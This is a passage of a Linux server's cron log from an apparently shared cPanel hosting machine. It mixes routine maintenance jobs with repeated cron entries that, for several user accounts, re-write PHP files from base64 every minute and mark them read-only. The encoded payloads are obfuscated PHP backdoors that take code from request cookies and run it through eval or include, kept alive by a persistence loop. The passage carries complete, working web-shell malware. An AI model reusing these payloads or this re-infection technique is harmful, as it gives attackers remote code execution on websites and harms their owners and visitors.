TS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:03:01 medusa CROND[25909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:04:01 medusa CROND[8665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:04:02 medusa CROND[8862]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:04:02 medusa CROND[8903]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:04:02 medusa CROND[8904]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:04:02 medusa CROND[8905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:04:02 medusa CROND[8906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:04:02 medusa CROND[8908]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:04:02 medusa CROND[8914]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:04:02 medusa CROND[8915]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:04:02 medusa CROND[8925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:04:02 medusa CROND[8926]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:04:02 medusa CROND[8929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:04:02 medusa CROND[8933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:05:01 medusa CROND[26875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:05:01 medusa CROND[26974]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27196]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:05:02 medusa CROND[27197]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:05:02 medusa CROND[27198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:05:02 medusa CROND[27199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27201]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:05:02 medusa CROND[27206]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:05:02 medusa CROND[27203]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:05:02 medusa CROND[27208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:05:02 medusa CROND[27209]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:05:02 medusa CROND[27210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:05:02 medusa CROND[27211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27213]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27215]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:05:02 medusa CROND[27202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:05:02 medusa CROND[27217]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:05:02 medusa CROND[27218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:05:02 medusa CROND[27223]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27226]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:05:02 medusa CROND[27229]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
